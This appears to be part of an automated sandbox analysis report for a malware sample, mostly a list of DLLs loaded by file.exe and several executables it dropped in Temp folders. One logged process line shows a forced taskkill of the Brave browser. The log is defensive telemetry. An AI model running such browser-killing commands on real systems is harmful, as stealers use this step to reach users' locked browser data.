Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: kernel.appcore.dll
